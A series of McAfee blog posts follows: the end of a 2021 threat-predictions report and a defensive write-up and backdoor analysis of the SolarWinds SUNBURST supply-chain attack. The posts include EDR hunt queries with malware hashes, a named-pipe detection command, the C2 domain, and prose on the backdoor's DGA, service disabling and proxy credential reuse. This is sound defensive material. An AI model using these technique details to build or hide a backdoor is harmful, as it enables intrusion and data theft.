What makes this type of attack so dangerous is that it uses trusted software to bypass cyber defenses, infiltrate victim organizations with the backdoor and allow the attacker to take any number of secondary steps. This could involve stealing data, destroying data, holding critical systems for ransom, orchestrating system malfunctions that result in kinetic damage, or simply implanting additional malicious content throughout the organization to stay in control even after the initial threat appears to have passed.
McAfee believes the discovery of the SolarWinds-SUNBURST campaign will expose attack techniques that other malicious actors around the world will seek to duplicate in 2021 and beyond.
2. |
Hacking the Home to Hack the Office |
By Suhail Ansari, Dattatraya Kulkarni and Steve Povolny
While the threat to connected homes is not new, what is new is the emergence of increased functionality in both home and business devices, and the fact that these devices connect to each other more than ever before. Compounding this is the increase in remote work – meaning many of us are using these connected devices more than ever.
In 2020,the global pandemic shifted employees from the office to the home, making the home environment a work environment. In fact, since the onset of the coronavirus pandemic, McAfee Secure Home Platform device monitoring shows a 22% increase in the number of connected home devices globally and a 60% increase in the U.S. Over 70% of the traffic from these devices originated from smart phones, laptops, other PCs and TVs, and over 29% originated from IoT devices such as streaming devices, gaming consoles, wearables, and smart lights.
McAfee saw cybercriminals increase their focus on the home attack surface with a surge in various phishing message schemes across communications channels. The number of malicious phishing links McAfee blocked grew over 21% from March to November, at an average of over 400 links per home.
This increase is significant and suggests a flood of phishing messages with malicious links entered home networks through devices with weaker security measures.
Millions of individual employees have become responsible for their employer’s IT security in a home office filled with “soft” targets, unprotected devices from the kitchen, to the family room, to the bedroom. Many of these home devices are “orphaned” in that their manufacturers fail to properly support them with security updates addressing new threats or vulnerabilities.
This contrasts with a corporate office environment filled with devices “hardened” by enterprise-grade security measures. We now work with consumer-grade networking equipment configured by “us” and lacking the central management, regular software updates and security monitoring of the enterprise.
Because of this, we believe cybercriminals will advance the home as an attack surface for campaigns targeting not only our families but also corporations. The hackers will take advantage of the home’s lack of regular firmware updates, lack of security mitigation features, weak privacy policies, vulnerability exploits, and user susceptibility to social engineering.
By compromising the home environment, these malicious actors will launch a variety of attacks on corporate as well as consumer devices in 2021.
3. |
Attacks on Cloud Platforms Become Highly Mechanized and Handcrafted |
By Sandeep Chandana
The COVID-19 pandemic has also hastened the pace of the corporate IT transition to the cloud, accelerating the potential for new corporate cloud-related attack schemes. With increased cloud adoption and the large number of enterprises working from home, not only is there a growing number of cloud users but also a lot more data both in motion and being transacted.
McAfee cloud usage data from more than 30 million McAfee MVISION Cloud users worldwide shows a 50% increase overall in enterprise cloud use across all industries the first four months of 2020. Our analysis showed an increase across all cloud categories, usage of collaboration services such as Microsoft O365 by 123%, increase in use of business services such as Salesforce by 61% and the largest growth in collaboration services such as Cisco Webex (600%), Zoom (+350%), Microsoft Teams (+300%), and Slack (+200%). From January to April 2020, corporate cloud traffic from unmanaged devices increased 100% across all verticals.
During the same period, McAfee witnessed a surge in attacks on cloud accounts, an estimated 630% increase overall, with variations in the sectors that were targeted. Transportation led vertical industries with a 1,350% increase in cloud attacks, followed by education (+1,114%), government (+773%), manufacturing (+679%), financial services (+571%) and energy and utilities (+472%).
The increasing proportion of unmanaged devices accessing the enterprise cloud has effectively made home networks an extension of the enterprise infrastructure. Cybercriminals will develop new, highly mechanized, widespread attacks for better efficacy against thousands of heterogenous home networks.
One example could be a widespread brute force attack against O365 users, where the attacker seeks to leverage stolen credentials and exploit users’ poor practice of re-using passwords across different platforms and applications. As many as 65% of users reuse the same password for multiple or all accounts according to a 2019 security survey conducted by Google. Where an attacker would traditionally need to manually encode first and last name combinations to find valid usernames, a learning algorithm could be used to predict O365 username patterns.
Additionally, cybercriminals could use AI and ML to bypass traditional network filtering technologies deployed to protect cloud instances. Instead of launching a classic brute force attack from compromised IPs until the IPs are blocked, resource optimization algorithms will be used to make sure the compromised IPs launch attacks against multiple services and sectors, to maximize the lifespan of compromised IPs used for the attacks. Distributed algorithms and reinforcement learning will be leveraged to identify attack plans primarily focused on avoiding account lockouts.
McAfee also predicts that, as enterprise cloud security postures mature, attackers will be forced to handcraft highly targeted exploits for specific enterprises, users and applications.
The recent Capital One breach was an example of an advanced attack of this kind. The attack was thoroughly cloud-native. It was sophisticated and intricate in that a number of vulnerabilities and misconfigurations across cloud applications (and infrastructure) were exploited and chained. It was not a matter of chance that the hackers were successful, as the attack was very well hand-crafted.
We believe attackers will start leveraging threat surfaces across devices, networks and the cloud in these ways in the months and years ahead.
4. |
New Mobile Payment Scams |
By Suhail Ansari and Dattatraya Kulkarni
Mobile payments have become more and more popular as a convenient mechanism to conduct transactions. A Worldpay Global Payments Report for 2020 estimated that 41% of payments today are on mobile devices, and this number looks to increase at the expense of traditional credit and debit cards by 2023. An October 2020 study by Allied Market Research found that the global mobile payment market size was valued at $1.48 trillion in 2019, and is projected to reach $12.06 trillion by 2027, growing at a compound annual growth rate of 30.1% from 2020 to 2027.
Additionally, the COVID-19 pandemic has driven the adoption of mobile payment methods higher as consumers have sought to avoid contact-based payments such as cash or physical credit cards.
But fraudsters have followed the money to mobile, pivoting from PC browsers and credit cards to mobile payments. According to research by RSA’s Fraud and Risk Intelligence team, 72% of cyber fraud activity involved the mobile channel in the fourth quarter of 2019. The researchers observed that this represented “the highest percentage of fraud involving mobile apps in nearly two years and underscores a broader shift away from fraud involving web browsers on PCs.”
McAfee predicts there will be an increase in “receive”-based mobile payment exploits, where a user receives a phishing email, direct message or smishing message telling him that he can receive a payment, transaction refund or cash prize by clicking on a malicious payment URL. Instead of receiving a payment, however, the user has been conned into sending a payment from his account.
This could take shape in schemes where fraudsters set up a fake call center using a product return and servicing scam, where the actors send a link via email or SMS, offering a refund via a mobile payment app, but the user is unaware that they are agreeing to pay versus receiving a refund. The figures below show the fraudulent schemes in action.
Mobile wallets are making efforts to make it easier for users to understand whether they are paying or receiving. Unfortunately, as the payment methods proliferate, fraudsters succeed in finding victims who either cannot distinguish credit from debit or can be prompted into quick action by smart social engineering.
Governments and banks are making painstaking efforts to educate users to understand the use of one-time passwords (OTPs) and that they should not be shared. Adoption of frameworks such as caller ID authentication (also known as STIR/SHAKEN) help in ensuring that the caller ID is not masked by fraudsters, but they do not prevent a fraudster from registering an entity that has a name close to the genuine provider of service.
In the same way that mobile apps have simplified the ability to conduct transactions, McAfee predicts the technology is making it easier to take advantage of the convenience for fraudulent purposes.
5. |
Qshing: QR Code Abuse in the Age of COVID |
By Suhail Ansari and Dattatraya Kulkarni
The global pandemic has created the need for all of us to operate and transact in all areas of our lives in a “contactless” way. Accordingly, it should come as no surprise that QR codes have emerged as a convenient input mechanism to make mobile transactions more efficient.
QR code usage has proliferated into many areas, including payments, product marketing, packaging, restaurants, retail, and recreation just to name a few. QR codes are helping limit direct contact between businesses and consumers in every setting from restaurants to personal care salons, to fitness studios. They allow them to easily scan the code, shop for services or items offered, and easily purchase them.
A September 2020 survey by MobileIron found that 86% of respondents scanned a QR code over the course of the previous year and over half (54%) reported an increase in the use of such codes since the pandemic began. Respondents felt most secure using QR codes at restaurants or bars (46%) and retailers (38%). Two-thirds (67%) believe that the technology makes life easier in a touchless world and over half (58%) wish to see it used more broadly in the future.
In just the area of discount coupons, an estimated 1.7 billion coupons using QR codes were scanned globally in 2017, and that number is expected to increase by a factor of three to 5.3 billion by 2022. In just four years, from 2014 to 2018, the use of QR codes on consumer product packaging in Korea and Japan increased by 83%. The use of QR codes in such “smart” packaging is increasing at an annual rate of 8% globally.
In India, the government’s Unique Identification Authority of India (UIDAI) uses QR codes in association with Aadhaar, India’s unique ID number, to enable readers to download citizens’ demographic information as well as their photographs.
However, the technicalities of QR codes are something of a mystery to most users, and that makes them potentially dangerous if cybercriminals seek to exploit them to target victims.
The MobileIron report found that whereas 69% of respondents believe they can distinguish a malicious URL based on its familiar text-based format, only 37% believe they can distinguish a malicious QR code using its unique dot pattern format. Given that QR codes are designed precisely to hide the text of the URL, users find it difficult to identify and even suspect malicious QR codes.
Almost two-thirds (61%) of respondents know that QR codes can open a URL and almost half (49%) know that a QR code can download an application. But fewer than one-third (31%) realize that a QR code can make a payment, cause a user to follow someone on social media (22%), or start a phone call (21%). A quarter of respondents admit scanning a QR code that did something unexpected (such as take them to a suspicious website), and 16% admitted that they were unsure if a QR code actually did what it was intended to do.
It is therefore no surprise that QR codes have been used in phishing schemes to avoid anti-phishing solutions’ attempts to identify malicious URLs within email messages. They can also be used on webpages or social media.
In such schemes, victims scan fraudulent QRs and find themselves taken to malicious websites where they are asked to provide login, personal info, usernames and passwords, and payment information, which criminals then steal. The sites could also be used to simply download malicious programs onto a user’s device.
McAfee predicts that hackers will increasingly use these QR code schemes and broaden them using social engineering techniques. For instance, knowing that business owners are looking to download QR code generator apps, bad actors will entice consumers into downloading malicious QR code generator apps that pretend to do the same. In the process of generating the QR code (or even pretending to be generating the correct QR code), the malicious apps will steal the victim’s sensitive data, which scammers could then use for a variety of fraudulent purposes.
Although the QR codes themselves are a secure and convenient mechanism, we expect them to be misused by bad actors in 2021 and beyond.
6. |
Social Networks as Workplace Attack Vectors |
By Raj Samani
Cyber adversaries have traditionally relied heavily on phishing emails as an attack vector for compromising organizations through individual employees. However, as organizations have implemented spam detection, data loss prevention (DLP) and other solutions to prevent phishing attempts on corporate email accounts, more sophisticated adversaries are pivoting to target employees through social networking platforms to which these increasingly effective defenses cannot be applied.
McAfee has observed such threat actors increasingly using the messaging features of LinkedIn, What’s App, Facebook and Twitter to engage, develop relationships with and then compromise corporate employees. Through these victims, adversaries compromise the broader enterprises that employ them. McAfee predicts that such actors will seek to broaden the use of this attack vector in 2021 and beyond for a variety of reasons.
Malicious actors have used the social network platforms in broad scoped schemes to perpetrate relatively low-level criminal scams. However, prominent actors such as APT34, Charming Kitten, and Threat Group-2889 (among others) have been identified using these platforms for higher-value, more targeted campaigns on the strength of the medium’s capacity for enabling customized content for specific types of victims.
Operation North Star demonstrates a state-of-the-art attack of this kind. Discovered and exposed by McAfee in August 2020, the campaign showed how lax social media privacy controls, ease of development and use of fake LinkedIn user accounts and job descriptions could be used to lure and attack defense sector employees.
Just as individuals and organizations engage potential consumer customers on social platforms by gathering information, developing specialized content, and conducting targeted interactions with customers, malicious actors can similarly use these platform attributes to target high value employees with a deeper level of engagement.
Additionally, individual employees engage with social networks in a capacity that straddles both their professional and personal lives. While enterprises assert security controls over corporate-issued devices and place restrictions on how consumer devices access corporate IT assets, user activity on social network platforms is not monitored or controlled in the same way. As mentioned, LinkedIn and Twitter direct messaging will not be the only vectors of concern for the corporate security operations center (SOC).
While it is unlikely that email will ever be replaced as an attack vector, McAfee foresees this social network platform vector becoming more common in 2021 and beyond, particularly among the most advanced actors.
The post 2021 Threat Predictions Report appeared first on McAfee Blogs.
In a blog post released 13 Dec 2020, FireEye disclosed that threat actors compromised SolarWinds’s Orion IT monitoring and management software with a trojanized version of SoalrWinds.Orion.Core.BusinessLayer.dll delivered as part of a digitally-signed Windows Installer Patch. The trojanized file delivers a backdoor, dubbed SUNBURST by FireEye (and Solorigate by Microsoft), that communicates to third-party servers for command and control and malicious file transfer giving the attacker a foothold on the affected system with elevated privileges. From there, additional actions on the objective, such as lateral movement and data exfiltration, are possible. Since release of the initial blog from FireEye, subsequent additional analysis by McAfee and the industry as well as alerts by CISA, we have seen the attack grow in size, breadth and complexity. We will continue to update defensive recommendation blogs like this as new details emerge.
The use of a compromised software supply chain as an Initial Access technique (T1195.002) is particularly dangerous as the attack uses assumed trusted paths and as such can go undetected for a long period. This attack leveraged several techniques, such as trusted software, signed code and stealthy hiding-in-plain-sight communication, allowing the attacker to evade even strong defenses and enjoy a long dwell before detection. The sophisticated nature of the attack suggests that an Advanced Persistent Threat (APT) Group is likely responsible. In fact, FireEye is tracking the group as UNC2452 and has released countermeasures to identify the initial SUNBURST backdoor. McAfee has also provided an intelligence summary within MVISION Insights and mitigation controls for the initial entry vectors are published in KB93861. For additional response actions, please view Part One of this blog series here. If you are using SolarWinds software, please refer to the company guidance here to check for vulnerable versions and patch information.
However, looking beyond the initial entry and containment actions, you should think about how you are prepared for this type of attack in the future. This is a sophisticated actor(s) who may use other techniques such as Spearphishing to gain access, then move around the corporate network and potentially steal intellectual property as was the case with FireEye. They will change techniques and tools, so you need to be ready. Our Advanced Threat Research team tracks over 700 APT and Cyber Crime campaigns so the potential for another threat actor to launch a similar attack is high. In this blog, we will take a specific look at the techniques used in the SolarWinds compromise and provide some guidance on how McAfee solutions could help you respond now and prepare for this type of threat in the future with an adaptable security capability for resilience.
In our first blog in this series, we provided some initial response guidance designed to disrupt the attack early in the Execution phase or look retrospectively on the endpoints or proxy logs for indicators of compromise. But as you can see in the attack timeline below, it started much earlier with purposeful and detailed preparation and includes multiple other steps. A couple of techniques speak volumes about the sophistication and planning involved in this campaign.
First is the choice of entry vector. The attacker in this case compromised part of the software supply chain by weaponizing software by SolarWinds, a major brand of IT management software. While software supply chain compromises are not new, like the recent one affecting JavaScript, they are typically on a smaller scale or more quickly detected. More common initial access techniques involve Spearphishing or taking advantage of open remote services like RDP. While both take planning and effort, weaponizing software from a major technology company and going undetected in that process is no easy feat. Secondly, the calculated wait time before external communication and the custom Domain Generation Algorithm (DGA) indicate the attacker has a lot of patience and stealth capability. For more detailed analysis of these advanced techniques, see McAfee Labs additional analysis blog on the SUNBURST backdoor.
The attack also involves numerous post-exploitation actions such as command and control communication masquerading (T1001.003) as normal update traffic, additional payload transfers (T1105), system discovery, credential harvesting and potentially then movement to other systems, even cloud-hosted infrastructure systems. The goal of course is to disrupt or detect any stage of attack before the breakout point and hopefully before any real impact to the business. The breakout point is when an attacker has gained privileges and starts to move laterally within the business. At that point, it becomes very difficult but not impossible to disrupt or detect the activity. But you must act fast. The impact of the attack can vary. In one case, it could be loss of intellectual property, but in another case, destruction of critical systems or data could be the goal. Also, what if the attacker used other initial access techniques, such as Spearphishing (T1566), to deliver a similar backdoor? Would you be able to detect that activity or any of the follow actions? Our point is don’t just update the endpoint with the latest DAT and consider yourself secure. Look for other ways to disrupt or detect an attack throughout the whole attack chain, leveraging both prevention and detection capability and keeping the end goal in mind to reduce impact to the business. Also think about how you prepare. The attackers in this case spent a lot of time in preparation creating custom malware and infrastructure. How about your organization? Do you know what attackers might be targeting your organization? Do you know their tactics and techniques?
In the first hours of a new threat campaign, if the CIO or CISO asked you, “are we exposed to SUNBURST”, how long would it take you to answer that question? One place to turn is MVISION Insights. MVISION Insights combines McAfee’s Threat Intelligence research with telemetry from your endpoint controls to reduce your attack surface against emerging threats. MVISION Insights tracks over 700 APT and Cyber Crime campaigns as researched by McAfee’s ATR team, including the most recent, FireEye Red Team tool release and SolarWinds Supply Chain Compromise campaigns.
In the beginning hours of a new threat response, you can use MVISION Insights to get a quick summary of the threat, view external resources, and a list of known indicators such as files, URLs, or IP addresses. The campaign summary saves you from some of the time-consuming task of combing multiple sites, downloading reports, and building out the broader picture. MVISION Insights provides critical pieces in one place allowing you to move quicker through the response process. The next question to answer, is this new attack a risk to my business? Insights can help you answer that question as well when you click on “Your Environment”.
Insights automatically correlates the indicators of compromise with Threat Events from McAfee ENS, allowing you to quickly asses if there is an immediate problem now. If you had a detection, you should immediately go to incident response. Insights reviews your endpoint control configuration to asses if you have the right content update deployed to potentially disrupt the threat. At this point, you are closer to answer the CIO question of “are we exposed”. I say closer because Insights provides only the endpoint protection view currently so you will need to review other controls you have in place to fully assess risk.
However, Insights also assesses your endpoint security posture against other advanced threat techniques, looking to see if you are getting the best value from ENS by leveraging signature, intelligence and behavior anomaly detection capability in the solution. This is important because the attackers will change tactics, using new entry techniques and tools, so your security posture must continuously adapt. And this is just one campaign. Insights is summarizing intelligence, surfacing detections and reducing your attack surface continuously, against 700 campaigns!
Mitigating risk from SUNBURST and similar sophisticated APT campaigns requires a security architecture that provides defense in depth and visibility throughout the entire attack chain. You should review your architecture and assess gaps either in technique visibility or protection capability. Below we have outlined where McAfee and partner solutions could be used to either disrupt or detect some of the attack techniques used in SUNBURST based on what we know today.
While the attacker is no doubt sophisticated and stealthy, the multi-stage aspect of the attack presents opportunities to detect or stop at multiple points and perhaps even before the attack gains a foothold. We cover more about how to use McAfee EDR to search for or detect some of the techniques used in SUNBURST in next section. However, there are some other key cyber defense capabilities that may be overlooked in your organizations but are critical to having a chance at detection and mitigation. We highlight those in this section below.
Normally this is beyond what most organizations have time to do. However, in this case, you need to gain any advantage. We discussed MVISION Insights above so here we will cover additional guidance. During the preparation phase of this attack, the attacker obtains infrastructure within the target geo to host their command and control server. During this phase, they also set the hostnames of their C2 servers to mimic target organization hostnames. A scan for your domain names on external IP blocks can reveal the attack formation. Open source tools such as Spiderfoot offer a number of plugins to gather and analyze such types of data. Passive DNS with combination of hosts communicating with unusual domain names also represent a window of detection whereby Advanced DNS Protection solutions such as from our SIA partner Infoblox can detect behavior-based DGA usage by malware and automatically block such DNS resolution requests.
DNS queries often provide the first layers of insights into any type of C2 communication and data exfiltration. You should enable logging ideally at an upstream resolver(s) where you can see traffic from your entire infrastructure. More information can be found here for Windows DNS Servers and Linux Bind DNS Servers. This could be forwarded to McAfee ESM/other SIEMs for analysis and correlation for detection of DGA-type activities.
Being able to detect unusual flows should also be a priority for incident responders. Along with DNS queries, NetFlow data when combined with UBA provides a great source of detection, as the attackers’ use of VPS providers can be combined with user login data to detect an “impossible rate of travel event.”
As described in the defensive architecture, MVISION EDR plays a vital role in hunting for prevalence of indicators related to the SUNBURST backdoor and ensuing post compromise activity. The role of MVISION EDR becomes even more important due to the usage of manual OPSEC by the threat actor where what follows the initial breach is driven by how the threat actor is targeting the organisation.
You can use MVISION EDR or MAR to search endpoints for SUNBURST indicators as provided by Microsoft and FireEye. If you are licensed for MVISION Insights, you can pivot directly to MVISION EDR to search for indicators. MVISION EDR supports real-time searches to hunt for presence of files on the endpoints and allows for sweeps across the estate. The following query can be used with the pre-populated malicious file hash list. The presence of the file on the system is itself does not mean it was successful and further hunting to check for execution of the actual malicious code on the system.is needed. See the search syntax below.
Begin MVEDR Query Syntax…
Files name, full_name, md5, sha256, created_at, create_user_name, create_user_domain and HostInfo hostname, ip_address, os and LoggedInUsers username, userdomain where Files sha256 equals “ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c” or Files sha256 equals “c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77” or Files sha256 equals “eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed” or Files sha256 equals “dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b” or Files sha256 equals “32519685c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77” or Files sha256 equals “d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600” or Files sha256 equals “53f8dfc65169ccda021b72a62e0c22a4db7c4077f002fa742717d41b3c40f2c7” or Files sha256 equals “019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134” or Files sha256 equals “ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6” or Files sha256 equals “32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77” or Files sha256 equals “292327e5c94afa352cc5a02ca273df543f2020d0e76368ff96c84f4e90778712” or Files sha256 equals “c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71”
…End MVEDR Query Syntax
Additionally, you can do a historical search creation and deletion of files going back up to 90 days in cloud storage.
The threat actor is known to rename system utilities/files and clean up their tracks. MVISION EDR can review historical changes to the file system, this is crucial in determining if an endpoint was a victim of this attack. The flexible search interface can be used to filter down and track the progress of the completion of the attacker’s objectives for e.g. look at changes triggered from the infected dll’s such as netsetupsvc.dll.
MVISION EDR allows for tracing of active network connections leveraging the real time search functionalities
You can also leverage the historical search function to look for historical connections related to the command and control activity for this threat actor. The filtering by process ID and source/destination IP allows analysts to track down the malicious communications.
MVISION EDR also allows analysts to review historical DNS lookups thus allowing for the ability to hunt for malicious DNS lookups. This is a very important capability in the product as many organizations do not log DNS or have a DNS hierarchy that makes it harder to log the end device making the actual request.
MVISION EDR includes custom collector creation ability that allows for execution of custom commands across the estate. In this case, it’s possible to look for the existence of the Named Pipes by executing the following Powershell command:
Powershell Command for Pipe detection [System.IO.Directory]::GetFiles(“\\.\\pipe\\”) | %{($_ -split “\\”)[6]}
HostInfo hostname, ip_address, os where _NamedPipe pipename contains “583da945-62af-10e8-4902-a8f2 05c72b2e”
It is known the attacker in its final stages leverages legitimate SolarWinds processes to complete their objectives:
\Windows\SysWOW64\WerFault.exe
\SolarWinds\Orion\ExportToPDFCmd.Exe
\SolarWinds\Orion\APM\APMServiceControl.exe
\SolarWinds.Credentials\SolarWinds.Credentials.Orion.WebApi.exe
\SolarWinds\Orion\Topology\SolarWinds.Orion.Topology.Calculator.exe
\SolarWinds\Orion\Database-Maint.exe
ProcessHistory parentname, name, id, cmdline WHERE ProcessHistory parentname equals “WerFault.exe” or ProcessHistory parentname equals “ExportToPDFCmd.Exe” or ProcessHistory parentname equals “APMServiceControl.exe” or ProcessHistory parentname equals “SolarWinds.Credentials.Orion.WebApi.exe” or ProcessHistory parentname equals “SolarWinds.Orion.Topology.Calculator.exe” or ProcessHistory parentname equals “\SolarWinds\Orion\Database-Maint.exe”
MVISION EDR’s architecture leverages the Data Exchange Layer to stream trace data to our cloud service where we apply analytics to identify or investigate a threat. Trace data are artifacts from the endpoint, such as file hashes, processes, communications, typically needed for endpoint detection and searches. The DXL architecture allows that data to be streamed to the cloud as well to a local data store such as a SIEM or other log storage like Elastic simultaneously.
You can store the data longer than the 90-day maximum McAfee stores in our cloud. Why is this important? Recent analysis of SUNBURST suggests that the attack goes as far back as March 2020, and perhaps earlier. This local storage would provide capability to hunt for indicators further back as needed, if so configured.
How do you know what data sources are needed to detect Mitre Att&ck tactics and techniques? Carlos Diaz from MVISION EDR engineering wrote a great tool called Mitre-Assistant to simplify that process. You can download that tool here.
One of the key challenges threat hunters and security analysts face is where the attack progresses through to the second phase of the attack, where it is understood the attacker has dropped malware to execute and complete their objectives. This usage of sophisticated execution of malware from a trusted process is detected by MVISION EDR and automatically mapped to the MITRE ATT&CK Framework. As part of the detection and process tracing, EDR also captures the command executed on the endpoint. This becomes invaluable in case of tracking the manual OPSEC aspect of the second phase of the attack.
MVISION EDR provides extensive capabilities to respond to threats once they have been assessed, e.g. real-time searches once executed allows analysts to scope the affected endpoints rapidly at which point the solution offers multiple options as a method for containment and remediation of the threat across the estate through bulk operations.
MVISION EDR provides a way to easily visualize data egress by looking at topology view of the endpoints where malicious activity has been detected, by observing the network-flow map the outlier connections can be easily identified and then correlated with WHOIS, IP reputation and Passive DNS data from providers like McAfee GTI and Virustotal. Once established, the external connections can be blocked and the endpoint can be quarantined from the EDR console. EDR also shows common processes spawning across multiple endpoints to showcase lateral movement and is also tagged as part of the MITRE techniques being identified and detected.
Combining EDR with Deception technology such as that from Attivo Networks brings together a combination of offensive detection where the attacker can be effectively trapped as result of not getting hold of the real credentials required to make the lateral movement/ privilege escalation a success thus failing in their objective completion.
An integrated approach to DLP can also provide effective protection against the completion of the objectives for e.g. unified DLP policy across the endpoint and web-gateway looking for exfiltration of sensitive organizational data can also provide valuable defenses. McAfee’s UCE platform provides such unified data protection capabilities.
Our latest research indicates attacker is actively looking to establish additional footholds into customer cloud environments such as Azure AD or bypass multi-factor authentication by hijacking SAML sessions, McAfee’s MVISION Cloud Access Control and User Anomaly Detection can identify suspicious access attempts to cloud services and infrastructure.
It is recommended to increase monitoring and investigations into such activity especially with privileged accounts on sensitive infrastructure
In addition to architecture review and continuous hunting for indicators, it is recommended that customers work with their suppliers – IT, Cloud Services, Infrastructure, Hardware, etc. – to validate integrity. Secondly, review controls, detection use cases in the SOC and logs, specifically related to your intellectual property. A tabletop exercise to rehearse crisis management and breach notification procedures is also recommended.
It’s important to note that analysis of this attack is ongoing across the globe and events are still unfolding. The presence/detection of the backdoor and affected software is just the beginning for many customers. MVISION EDR or other tool detections of malicious named-pipe presence and domains help indicate to a customer if the backdoor was running, but with the gathered system information, the adversary may have valid accounts and access to AD or Cloud systems in some cases. The adversary has been wiping information/log files to erase traces. Incident Response is a critical piece of your overall business resilience and if you are affected, you will no doubt be asking yourself these types of questions.
McAfee will continue to post analysis results and defensive guidance as we learn more about the attack. Customers should follow McAfee Labs posts, check the Insights Preview Dashboard for latest threat intelligence, and continually check the Knowledge Center for latest product guidance.
The post How A Device to Cloud Architecture Defends Against the SolarWinds Supply Chain Compromise appeared first on McAfee Blogs.
There has been considerable focus on the recent disclosures associated with SolarWinds, and while existing analysis on the broader campaign has resulted in detection against specific IoCs associated with the Sunburst trojan, the focus within the Advanced Threat Research (ATR) team has been to determine the possibility of additional persistence measures. Our analysis into the backdoor reveals that the level of access lends itself to the assumption that additional persistence mechanisms could have been established and some inferences regarding the intent from adversaries;
Although this analysis will focus on the premise that the backdoor supports the feasibility of establishing additional persistence methods we recognize the importance of providing assurance regarding coverage against available indicators. To that end the following resources are available:
Additional resources will become available as analysis both conducted by McAfee researchers, and the wider community becomes available.
There exists excellent analysis from many of our industry peers into the SUNBURST trojan, and the intention here is not to duplicate findings but to provide analysis we have not seen previously covered. The purpose is to enable potential victims to better understand the capabilities of the campaign in an effort to consider the possibility that there are additional persistence mechanisms.
For the purposes of this analysis our focus centered upon the file “SolarWinds.Orion.Core.BusinessLayer.dll“, this particular file, as the name suggests, is associated with the SolarWinds ORION software suite and was modified with a class added containing the backdoor “SunBurst”.
A deeper dive into the backdoor reveals that the initial call is to the added class “OrionImprovementBusinessLayer” which has the following functions:
The class starts with a check to see if the module is running and, if not, it will start the service and thereafter initiate a period of dormancy.
As was detailed by FireEye, this period of sleep can range from minutes up to two weeks. The actual time period of dormancy is dependent on the checks that must be passed from the code, like hash of the Orion process, write-times of files, process running etc. A sleep period of this length of time is unusual and speaks to a very patient adversary.
The most important strings inside the backdoors are encoded with the DeflateStream Class of the .NET’s Compression library together with the base64 encoder. By examining the block-list, we discover findings that warrant further inspection. First entries are the local-IP address ranges and netmasks:
Followed by the IPv6 local addresses equivalents:
fc00::,fe00::, fec0::,ffc0::,ff00::,ff00::
Next, there is a list of IP-addresses and their associated subnetmasks. We executed a whois on those IP-addressees to get an idea of whom they might belong to. There is no indication as to the reason that the following IPs have been inserted into the blocklist, although the netmasks implemented in certain entries are ‘quite’ specific, therefore we have to assume the attackers were intentional in their desire to avoid certain targets.
Assuming that the victim is not within the block list, the sample will then proceed to create the named pipe 583da945-62af-10e8-4902-a8f205c72b2e. This is done to ensure that only one instance of the backdoor is running. We were able to verify this through replication we carried out within our own environment.
When we ran the backdoor, we were able to confirm that this value is hardcoded in the code, and once the dormancy period passed the service is started and named pipe is created. At this point, the backdoor will also create a unique UserID MD5 value for the system it is installed on as depicted within figure 5.
This particular routine will initially read the Device-info of the system but ignore the loopback interfaces (part of the code of the ReadDeviceInfo routine that mentions “Select * From Win32_NetworkAdapterConfiguration where IPEnabled=true” ). The Device-info will then be combined with the domain name, followed by a value from the registry key (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography). This information is then used to create an MD5 value of that string.
The module will start the ‘update’ routine. This routine is a continuous loop designed for verification against, for example, unwanted services that could potentially be used against detection of the backdoor as depicted in figure 6.
The backdoor gathers information from the system. The following information is gathered by a routine called “CollectSystemDescription”, some examples include;
There exists other subroutines to collect additional data, for example enumerating the information from the network-adaptors, the backdoor uses the GetNetworkAdapterConfiguration routine. The routine is gathering the following information:
In order to check if certain ‘unwanted’ services are running, the backdoor enumerates the services, creates a hashlist and compares them with a hard-coded set of these values. The ‘update’ routine will exit once a ‘block-listed’ process id discovered. The backdoor will attempt to stop these services by entering a value in the registry for that service that will disable that service. The update routine will check again and continue this process until all unwanted processes are disabled.
Another capability of the backdoor is to start/stop tasks:
Other functionalities we observed in the code are:
An interesting observation was the check for the presence of SolarWinds’ Improvement Client executable and it’s version “3.0.0.382”.
The ImprovementClient is a program that can collect the following information (source SolarWinds) :
Another observation of the http routine was the search for certain keywords in the http-traffic that might indicate the adversary was looking into details/access of cloud and/or wireless networks of their victims by using the SolarWinds’ modules that are installed to monitor/administer these kinds of instances. Managing the network using SolarWinds’ Orion is executed by using a browser and localhost that is hosting the webserver. Reading out the certificate values and search for these keywords in the http-traffic would have gained this information.
After all checks and routines have passed, the backdoor will use a domain generating algorithm (hereafter DGA) to generate a domain. Example of the part of the DGA code:
When the domain is successfully reached, the routine called ‘Update’ contains a part that will act on this and start a new thread firing off the routine “HttpHelper.Initialize”. In the below screenshot we can observe that flow:
The code shows that when the dnsrecord equals the domain and can be reached, the new thread will start in the background.
The ‘HttpHelper’ class/routine is responsible for all the C2 communications:
Even if a victim is using a Proxy-server with username and password, the backdoor is capable of retrieving that information and using it to build up the connection towards the C2. It then uses a routine called “IWebProxy GetWebProxy” for that:
The DGA-generated C2s are subdomains of: avsvmcloud[.]com.
An example of how these domains would look:
Inspecting the CNAME’s from the DGA-generated C2’s we observed the following domain-names:
In the forementioned HTTP handler code, we discovered paths that might be installed on the C2’s for different functions:
Once the backdoor is connected, depending on the objectives from the adversaries, multiple actions can be executed including the usage of multiple payloads that can be injected into memory. At the time of writing, details regarding the ‘killswitch’ against the above domain will prevent this particular backdoor from being operational, however for the purpose of this analysis it demonstrates the level of access afforded to attackers. While the efforts to sinkhole the domain are to be applauded, organisations that have been able to identify indicators of SUNBURST within their environment are strongly encouraged to carry out additional measures to provide themselves assurances that further persistent mechanisms have not been deployed.
The post Additional Analysis into the SUNBURST Backdoor appeared first on McAfee Blogs.
Part I of II
